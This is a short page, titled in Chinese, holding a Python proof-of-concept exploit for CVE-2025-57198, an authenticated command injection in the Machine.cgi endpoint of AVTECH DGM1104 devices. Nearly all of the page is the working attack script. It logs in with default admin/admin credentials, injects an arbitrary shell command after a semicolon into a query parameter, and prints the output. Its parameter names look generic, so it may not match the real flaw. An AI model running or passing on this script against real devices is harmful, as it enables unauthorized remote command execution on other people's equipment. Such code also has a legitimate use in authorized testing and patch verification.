CVE-2025-57198: AVTECH DGM1104 Machine.cgi认证后命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-57198 PoC - AVTECH DGM1104 Machine.cgi Command Injection # Note: This is for educational and authorized testing purposes only import requests import sys def exploit_cve_2025_57198(target_ip, target_port=80, username="admin", password="admin", cmd="id"): """ Exploit authenticated command injection in AVTECH DGM1104 Machine.cgi Args: target_ip: Target device IP address target_port: Target device port (default: 80) username: Valid authentication username password: Valid authentication password cmd: Command to execute on the target system Returns: Response from the exploited endpoint """ # Construct the target URL base_url = f"http://{target_ip}:{target_port}" # Authentication endpoint login_url = f"{base_url}/cgi-bin/login.cgi" # Machine.cgi endpoint with injected command exploit_url = f"{base_url}/cgi-bin/Machine.cgi" # Step 1: Authenticate to obtain session login_data = { "username": username, "password": password } try: # Attempt login session = requests.Session() login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Exploit command injection via Machine.cgi # Inject command using semicolon separator exploit_params = { "action": "test", "param": f"value;{cmd}" } exploit_response = session.get(exploit_url, params=exploit_params, timeout=10) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploit sent to {exploit_url}") print(f"[*] Response Status: {exploit_response.status_code}") print(f"[*] Response:\n{exploit_response.text}") return exploit_response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password] [command]") print(f"Example: {sys.argv[0]} 192.168.1.100 80 admin admin 'id'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else "admin" pwd = sys.argv[4] if len(sys.argv) > 4 else "admin" command = sys.argv[5] if len(sys.argv) > 5 else "id" exploit_cve_2025_57198(target, port, user, pwd, command)